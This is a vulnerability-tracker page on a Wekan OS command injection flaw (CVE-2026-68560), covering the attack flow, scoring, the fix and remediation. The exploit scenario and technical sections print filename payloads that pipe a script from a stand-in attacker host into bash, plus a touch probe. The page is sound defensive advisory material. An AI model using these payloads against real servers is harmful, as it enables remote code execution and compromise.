Skip to main content

Wekan CVE-2026-68560

| EUVDEUVD-2026-62702 HIGH
OS Command Injection (CWE-78)
2026-08-19 GitHub_M
7.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Wekan as any board member
  2. Delivery
    Rename local file to embed shell payload (e.g. $(cmd).png)
  3. Exploit
    Upload malicious attachment to any accessible board
  4. Execution
    Wekan interpolates filename into admin-configured scanner command via /bin/sh -c
  5. Persist
    Injected command executes as Wekan server OS process
  6. Impact
    Attacker achieves arbitrary RCE on server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two concurrent conditions: (1) the attacker must hold a valid Wekan account with file attachment upload privileges on at least one board (PR:L per CVSS 4.0 - any authenticated board member qualifies, not just administrators); and (2) a Wekan administrator must have configured an external scanner command line in Wekan's admin settings using the {file} placeholder - this is explicitly a non-default configuration, captured by AT:P in the CVSS 4.0 vector. Wekan instances without any external scanner configured are not reachable via this code path regardless of attacker privileges. Exploitation is additionally bounded by the OS-level permissions of the Wekan server process itself; a deployment running Wekan as a dedicated low-privilege OS account limits post-exploitation lateral movement. No user interaction from administrators or other users is required at exploit time beyond the pre-existing scanner configuration. The attack requires no special network position - any user able to reach the Wekan web interface over HTTP/HTTPS can trigger the flaw.

Impact

The CVSS 4.0 score of 7.7 reflects a meaningful and accurate downgrade from the vendor's own CHANGELOG-cited CVSS 3.1 score of 9.9 (S:C), with the AT:P (Attack Prerequisites) flag in the 4.0 vector explicitly capturing the non-default configuration requirement. The primary risk limiter is that exploitation requires an administrator to have enabled an external scanner command line in Wekan's admin settings - a non-default configuration - without which the vulnerable code path is never reached. No EPSS data was provided in the intelligence feed, and this CVE has no CISA KEV listing, indicating no confirmed active exploitation at time of analysis. However, the published commit diff in GHSA-x3xm-pxrv-jg7p is effectively a reproduction guide: it identifies the exact vulnerable file and line, describes working example payloads ($(touch /tmp/pwn).png, backtick substitution), and includes the verbatim vulnerable code - any attacker targeting a Wekan instance with an external scanner enabled could achieve RCE within minutes of reading the advisory, meaning even a mid-sized municipal IT team in mielec running Wekan with external AV scanning configured should treat this as an urgent patching priority rather than a routine cycle item. The CVSS signals are internally consistent: network attack vector, low-privilege authentication, and high CIA impact all align with the description and code diff. The sole point of nuance is that the vendor's 3.1 vector of 9.9 (AC:L) may overstate ease of exploitation by omitting the configuration prerequisite that AT:P correctly captures in 4.0.

Exploit ScenarioDerived

An authenticated Wekan user - any board member with attachment upload rights - renames a file to embed a shell command substitution, for example $(curl http://attacker.example/implant.sh | bash).png, and uploads it as an attachment to any board. On servers where an administrator has configured an external antivirus scanner command line containing a {file} placeholder, Wekan's isFileValid() function interpolates the malicious filename into the shell command and executes it via /bin/sh -c, causing the injected command to run as the Wekan server OS process. The published GHSA-x3xm-pxrv-jg7p advisory includes the exact vulnerable code line and working payload examples, making this straightforward to weaponize without additional research.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Remote code execution in Wekan prior to version 9.75 allows any authenticated user to execute arbitrary OS commands as the Wekan server process by embedding shell metacharacters in an uploaded filename. The flaw exists in models/fileValidation.js, which interpolated the user-supplied file path into an admin-configured external scanner command line wrapped only in double quotes before passing it to asyncExec - a promisified child_process.exec that spawns /bin/sh -c - allowing double-quote-permeable constructs like $(cmd) and backtick substitutions to escape argument boundaries. No public exploit has been identified at time of analysis, though the published commit diff in GHSA-x3xm-pxrv-jg7p constitutes a near-complete exploitation guide.

RemediationAI

The primary remediation is to upgrade Wekan to version 9.75 or later, available at https://github.com/wekan/wekan/releases/tag/v9.75 and documented in the vendor advisory GHSA-x3xm-pxrv-jg7p. Version 9.75 introduces a shellQuote() helper that POSIX single-quote-escapes the interpolated file path, rendering all shell metacharacters inert without altering the on-disk path or the admin-configured command line. For deployments where immediate patching is not possible, the most effective compensating control is to disable the external scanner command line configuration in Wekan's admin settings - this eliminates the vulnerable code path entirely, since the injection only occurs when externalCommandLine is set. The trade-off is loss of antivirus scanning on uploaded files; organizations should weigh this against the RCE risk and consider alternative file scanning approaches (e.g., scanning at the storage layer or via a separate daemon rather than via Wekan's built-in integration). Restricting file upload privileges to a minimal set of highly trusted users reduces the attack surface but does not eliminate the vulnerability. The fix commit is at https://github.com/wekan/wekan/commit/1a222c4477e68c76fd6a866954b535fba0a78d05.

Affected VersionsENISA

Wekan < 9.75

Affected Packages

euvd wekan fix: 9.75

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Wekan is an open-source kanban board built on the Meteor framework (Node.js). The vulnerable code in models/fileValidation.js exposes CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) in its isFileValid() function. When an administrator configures an externalCommandLine setting containing a {file} placeholder for antivirus or file scanning, the code performed: asyncExec(externalCommandLine.replace("{file}", '"' + fileObj.path + '"')). The asyncExec wrapper calls Node.js child_process.exec, which invokes /bin/sh -c on the resulting string. POSIX double-quote wrapping does not sanitize shell metacharacters - the shell still expands $(…) command substitution, backtick execution, and backslash escapes inside double quotes. This means a filename such as $(curl attacker.com/shell.sh|bash).png causes the embedded command to be executed by the shell. The adjacent MIME-detection code path (detectMimeFromFile) already used execFile (no shell), and the earlier AvatarBleed fix (CVE-2026-52891) stripped non-alphanumeric characters from filenames in a different path - but the external scanner path had zero sanitization. CPE cpe:2.3:a:wekan:wekan:*:*:*:*:*:*:*:* covers all versions prior to 9.75. The fix in v9.75 introduces a shellQuote() helper that wraps the path in POSIX single quotes and escapes embedded single quotes as '\'' - inside single quotes the shell interprets no metacharacters whatsoever.

Know when Wekan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.5 HIGH

AC:H because the non-default external scanner configuration is a prerequisite outside attacker control; S:C because command execution escapes the web application into the underlying OS.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 19, 2026 - 20:03 EUVD
CVE Published
Aug 19, 2026 - 19:23 cve.org
HIGH 7.7

DescriptionCVE.org

Wekan is open source kanban built with Meteor. Prior to 9.75, models/fileValidation.js interpolated the uploaded fileObj.path into the administrator-configured externalCommandLine at its {file} placeholder and executed the result through asyncExec, which is promisify(exec) and invokes /bin/sh -c. On deployments with an external scanner configured, an authenticated user able to upload an attachment could place shell metacharacters such as command substitutions in the filename and execute commands as the Wekan server process. Version 9.75 adds shellQuote() and passes the file path as a POSIX single-quoted argument so shell metacharacters cannot escape the placeholder. This issue is fixed in version 9.75.

Executive ViewAI

Why It Matters

Wekan versions prior to version 9.75 contain a remote code execution vulnerability affecting any authenticated user. No public exploit has been identified at time of analysis; however, the published security advisory includes technical details that constitute a near-complete exploitation guide. Successful exploitation could result in complete server compromise, unauthorized data access, and lateral movement across connected systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 64% exploitable
Prevalence
Low
self-hosted open-source kanban with modest enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Wekan

View all
CVE-2021-3309 HIGH POC
8.1 Jan 26

packages/wekan-ldap/server/ldap.js in Wekan before 4.87 can process connections even though they are not authorized by t

CVE-2026-52891 CRITICAL
9.9 Jul 15

OS command injection in Wekan (the open-source Meteor-based kanban board) before version 9.07 lets an authenticated user

CVE-2026-55652 CRITICAL
9.8 Jul 15

Authentication bypass in Wekan (open-source Meteor kanban) before version 9.46 lets an unauthenticated attacker imperson

CVE-2023-28485 MEDIUM POC
5.4 Jun 26

A stored cross-site scripting (Stored XSS) vulnerability in file preview in WeKan before 6.75 allows remote authenticate

CVE-2021-20654 MEDIUM POC
5.4 Feb 10

Wekan, open source kanban board system, between version 3.12 and 4.11, is vulnerable to multiple stored cross-site scrip

CVE-2026-52893 CRITICAL
9.2 Jul 15

Account takeover in Wekan (open-source Meteor kanban) before 9.32 allows an attacker who controls an OIDC provider accou

CVE-2026-68561 HIGH
8.8 Aug 19

Privilege escalation in Wekan open-source kanban (all versions prior to 9.89, dubbed 'SortBleed') allows any board membe

CVE-2025-65780 HIGH
8.8 Dec 15

Privilege escalation in the self-hosted Wekan kanban board through version 18.15 allows any authenticated user to rewrit

CVE-2026-68899 HIGH
8.7 Aug 19

Stored XSS in Wekan prior to v9.90 allows authenticated board members to upload HTML containing JavaScript disguised as

CVE-2026-25560 HIGH
8.7 Feb 07

LDAP filter injection in WeKan before 8.19 allows remote unauthenticated attackers to manipulate LDAP search filters and

CVE-2026-41454 HIGH
8.7 Apr 22

Privilege escalation in WeKan (versions prior to 8.35) allows authenticated board members with low privileges to perform

CVE-2026-68558 HIGH
8.5 Aug 19

Wekan's outgoing webhook URL validator in versions 8.36 through 9.73 allows authenticated board members to bypass SSRF p

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy